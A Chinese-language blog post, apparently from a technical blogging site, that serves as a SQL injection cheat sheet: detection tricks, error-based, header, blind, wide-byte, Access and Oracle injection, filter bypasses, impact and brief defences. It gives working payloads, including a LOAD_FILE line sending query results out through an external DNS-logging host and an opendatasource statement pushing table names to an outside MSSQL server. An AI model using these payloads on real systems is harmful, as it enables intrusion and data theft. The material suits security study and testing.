1、SQL注入

目录

0x01 SQL注入原理

0x02 可能存在注入的地方

0x03 判断是否存在注入点

0x04 注入类型

显错注入

报错注入

Header注入

盲注

宽字节注入

Mysql——DNS注入

Mssql——反弹注入

Acess注入

Oracle——报错注入

0x05 SQL注入绕过方法

0x06 危害

0x06 防御


0x01 SQL注入原理

用户输入的数据当做SQL语句的代码执行了;

0x02 可能存在注入的地方

URL、登录页面、搜索处、HTTP头信息等;

0x03 判断是否存在注入点

①、and 1=1 页面正常
and 1=2 页面不正常,说明极有可能存在sql注入
②、 如果是数字型传参,可以尝试-1
例如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻

   and 1=1 and 1=2 被拦截的可能性太高了
   可以尝试 and -1=-1 and -1=-2 and 1>0  or 1=1
   或者直接 or sleep(5)

0x04 注入类型

显错注入

  1. 原理:通过union函数与数据库SQL语句进行拼接,使数据直接显示在页面回显点($GET/$POST);
  2. 相关函数:union、order by、limit;

报错注入

  1. 原理:利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中;
  2. 相关函数:
  • floor     例句:and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • ExtractValue     例句:and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  • UpdateXml     例句:and 1=(updatexml(1,concat(0x3a,(select user())),1))
  • exp     例句:and exp(~(select * from (select user () ) a) );
  • polygon     例句:and polygon (()select * from(select user ())a)b );

Header注入

  1. 原理:利用后端验证客户端口信息或者通过Header中获取客户端的一些信息,因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有进过相对应的信息处理所以构成了sql注入;
  2. 可能出现的地方:
  • host     客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号;
  • User-Agent     使得服务器能够识别客户使用的操作系统,游览器版本等;
  • Referer     浏览器向 WEB 服务器表明自己是从哪个页面链接过来的;
  • X-Forwarded-For     简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]);
  • Clien-IP     同上;
  • Cookie     网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据;

盲注

  • 原理:盲注就是在服务器没有错误回显的时候完成的注入攻击;
  1. 布尔型盲注:基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息;
  2. 相关函数
  • length() 返回字符串的长度;
  •  substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
  •  ascii() 返回字符的ascii码 [将字符变为数字位];
  1. 时间型盲注:界面返回值只有一种,true 无论输入任何值,返回情况都会按正常的来处理。只有加入特定的时间函数sleep(),通过查看web页面返回的时间差来判断注入的语句是否正确;
  2. 相关函数
  • length() 返回字符串的长度
  • substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
  • ascii() 返回字符的ascii码 [将字符变为数字位]
  • sleep() 将程序挂起一段时间n为n秒
  • if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

宽字节注入

  1. 宽字节注入过滤原理:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来。
  2. 宽字节注入绕过原理:已知我们的提交数据会被加入\,\的编码为%5c,我们在后面加上%df后变为了%df%5c,变成一个繁体汉字運,变成了一个有多个字节的字符因为用了gbk编码,使这个为一个两字节,绕过了单引号闭合,逃逸了转义;
  3. 宽字节注入应用场景:只要PHP的编码格式和数据库的编码格式不同,特别是字符不同的编码就可能会造成;
  4. MySQL中用于转义的函数:addslashes、mysql_real_escape_string、mysql_escape_string、magic_quotes_gpc;当PHP的传参中有特殊字符就会在前面加转义字符’\’,来做一定的过滤;
  5. 绕过思路 :因为宽字节注入主要是吃掉 \ ,所以一般时候加一个 %df 这种就可以吃掉,加汉字也可以;
  6. 相关函数:union、order by、limit;

Mysql——DNS注入

  1. DNS注入原理:通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
  2. DNS注入利用的场景:在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看;
  3. 使用的函数:load_file函数作用:用于读取文件内容,并返回输出;
  4. 使用条件:①、文件必须在服务器上;②、要有绝对路径;③、要有file权限,所有字节可读;④、文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB),当load_file无法读取文件的解决方法:在mysql配置文件最后一行加一行secure_file_priv=

例句:
and (SELECT LOAD_FILE(CONCAT(‘\\‘,(select database()),’.0cv5gr.ceye.io\abc’)))#
select load_file()打开文件,concat是拼接函数,\\+子查询出来的结果+.0cv5gr.ceye.io\abc
相当于数据库去访问\\+子查询出来的结果+.0cv5gr.ceye.io\abc的共享文件夹然后被DNS服务器记录下来

Mssql——反弹注入

  1. 原理:依靠opendatasource函数,把查询出来的数据发送到我们的MSSQL服务器上
  2. 反弹注入的条件:

       ①、目标有堆叠注入(在注入的时候可以用“;”结束,用其它新的语句开始);
       ②、目标具备公网环境;

     3.环境搭建:
使用香港云(http://www.webweb.com/)搭建mssql数据库,获取公网IP

    4.使用的函数:
opendatasource函数作用:可以理解为将当前数据库查询的结果发送到另一数据库服务器中;

语法:opendatasource(provider_name,init_string)
provider_name :注册为用于访问数据源的OLE DB 提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB
init_string:
连接字符串
连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

    5.反弹注入过程

   ①、首先在自己用来接收查询结果的外网服务器中,搭建好SQL SERVER数据库的环境,然后建立一个具有管理权限的数据库账户;
   ②、然后使用建立的SQL账户登录数据库;

例句:

insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBE9F_text_admin;pwd=12345678;database=DB_14DBE9F_text').DB_14DBE9F_text.dbo.test select id,name from sysobjects where xtype='U' - - qwe

Acess注入

access数据库里没有系统自带表,只能猜;

1.cookie注入

如果网站对GET POST数据进行一个检测,可以尝试cookie注入,老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参;当页面后缀名是.asp,此时尝试下看是否存在Cookie注入,若发现cookie的传参可以影响到页面,说面页面存在cookie注入(Cookie很多时候都需要URL编码);

2.偏移注入

偏移注入使用场景:在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

例句:document.cookie="id="+escape("105 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")

Oracle——报错注入

利用CTXSYS.DRITHSX.SN()报错注入;

例句:?id=1 and 1=CTXSYS.DRITHSX.SN(user,(select table_name from (select rownum no,table_name from user_tables) where no=4))

0x05 SQL注入绕过方法

  • 大小写绕过
  • 双写绕过
  • 编码绕过
  • 内联注释绕过
  • 关键字替换(例如:空格用+替换、and用&&替换等)
  • 等价函数绕过(例如:hex()、bin()=ascii()、mid()、substr()=substring()等)
  • HTTP参数污染
  • 缓冲区溢出绕过

0x06 危害

  • 数据库信息泄露
  • 网页篡改:登陆后台后发布恶意内容
  • 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,
  • 可将一些网页木马挂在服务器上,去攻击别人
  • 私自添加系统账号
  • 读写文件获取webshell

0x06 防御

  • 对进去数据库的特殊字符(单双引号 尖括号等)进行编码转换
  • 不要使用动态拼装SQL,使用参数化SQL
  • 不要使用管理员权限的数据连接,最好为每个应用使用单独的数据库连接
  • 应用异常信息尽量给出少的提示,最好自定义报错信息对原始报错信息进行包装
  • 使用防火墙,安全狗,云盾

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值